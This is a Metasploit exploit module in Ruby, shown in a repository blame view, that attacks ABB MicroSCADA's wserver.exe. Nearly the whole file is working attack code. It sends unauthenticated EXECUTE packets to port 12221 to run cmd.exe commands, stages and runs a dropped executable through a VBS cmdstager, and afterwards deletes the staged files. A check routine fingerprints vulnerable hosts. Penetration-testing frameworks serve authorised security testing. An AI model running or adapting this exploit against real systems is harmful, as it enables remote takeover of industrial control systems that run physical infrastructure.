Files
metasploit-gs/modules/exploits/windows/scada/abb_wserver_exec.rb
T

116 lines
3.8 KiB
Ruby
Raw Normal View History

2013-11-28 10:47:04 -06:00
##
2017-07-24 06:26:21 -07:00
# This module requires Metasploit: https://metasploit.com/download
2013-11-28 10:47:04 -06:00
# Current source: https://github.com/rapid7/metasploit-framework
##
2016-03-08 14:02:44 +01:00
class MetasploitModule < Msf::Exploit::Remote
2013-11-28 10:47:04 -06:00
Rank = ExcellentRanking
include Msf::Exploit::Remote::Tcp
include Msf::Exploit::CmdStager
2013-11-28 10:47:04 -06:00
def initialize(info = {})
super(update_info(info,
2013-11-28 10:53:12 -06:00
'Name' => 'ABB MicroSCADA wserver.exe Remote Code Execution',
2013-11-28 10:47:04 -06:00
'Description' => %q{
This module exploits a remote stack buffer overflow vulnerability in ABB MicroSCADA. The
2013-11-28 12:19:42 -06:00
issue is due to the handling of unauthenticated EXECUTE operations on the wserver.exe
component, which allows arbitrary commands. The component is disabled by default, but
required when a project uses the SCIL function WORKSTATION_CALL.
2013-12-02 16:19:05 -06:00
This module has been tested successfully on ABB MicroSCADA Pro SYS600 9.3 on
2013-11-28 12:19:42 -06:00
Windows XP SP3 and Windows 7 SP1.
2013-11-28 10:47:04 -06:00
},
'License' => MSF_LICENSE,
'Author' =>
[
'Brian Gorenc', # Original discovery
'juan vazquez' # Metasploit module
],
'References' =>
[
[ 'OSVDB', '100324'],
2013-11-28 10:47:04 -06:00
[ 'ZDI', '13-270' ],
[ 'URL', 'http://www05.abb.com/global/scot/scot229.nsf/veritydisplay/41ccfa8ccd0431e6c1257c1200395574/$file/ABB_SoftwareVulnerabilityHandlingAdvisory_ABB-VU-PSAC-1MRS235805.pdf']
],
'Platform' => 'win',
'Arch' => ARCH_X86,
'DefaultOptions' =>
{
'WfsDelay' => 5
},
'Targets' =>
[
[ 'ABB MicroSCADA Pro SYS600 9.3', { } ]
],
2014-02-08 17:11:47 -06:00
'CmdStagerFlavor' => 'vbs',
2013-11-28 10:47:04 -06:00
'DefaultTarget' => 0,
'Privileged' => false,
'DisclosureDate' => 'Apr 05 2013'
))
register_options([Opt::RPORT(12221)])
2013-11-28 10:47:04 -06:00
end
def check
# Send an EXECUTE packet without command, a valid response
# should include an error code, which is good enough to
# fingerprint.
op = "EXECUTE\x00"
pkt_length = [4 + op.length].pack("V") # 4 because of the packet length
pkt = pkt_length
pkt << op
connect
sock.put(pkt)
res = sock.get_once
disconnect
if res and res.length == 6 and res[0, 2].unpack("v")[0] == 6 and res[2, 4].unpack("V")[0] == 0xe10001
return Exploit::CheckCode::Vulnerable
end
return Exploit::CheckCode::Safe
end
def exploit
# More then 750 will trigger overflow...
# Cleaning is done by the exploit on execute_cmdstager_end
execute_cmdstager({:linemax => 750, :nodelete => true})
2013-11-28 10:47:04 -06:00
end
def execute_cmdstager_end(opts)
@var_tempdir = @stager_instance.instance_variable_get(:@tempdir)
@var_decoded = @stager_instance.instance_variable_get(:@var_decoded)
@var_encoded = @stager_instance.instance_variable_get(:@var_encoded)
@var_decoder = @stager_instance.instance_variable_get(:@var_decoder)
print_status("Trying to delete #{@var_tempdir}#{@var_encoded}.b64...")
execute_command("del #{@var_tempdir}#{@var_encoded}.b64", {})
print_status("Trying to delete #{@var_tempdir}#{@var_decoder}.vbs...")
execute_command("del #{@var_tempdir}#{@var_decoder}.vbs", {})
print_status("Trying to delete #{@var_tempdir}#{@var_decoded}.exe...")
execute_command("del #{@var_tempdir}#{@var_decoded}.exe", {})
end
def execute_command(cmd, opts)
op = "EXECUTE\x00"
command = "cmd.exe /c #{cmd}"
pkt_length = [4 + op.length + command.length].pack("V") # 4 because of the packet length
pkt = pkt_length
pkt << op
pkt << command
connect
sock.put(pkt)
res = sock.get_once
disconnect
unless res and res.length == 6 and res[0, 2].unpack("v")[0] == 6 and res[2, 4].unpack("V")[0] == 1
fail_with(Failure::UnexpectedReply, "Unexpected reply while executing the cmdstager")
end
end
end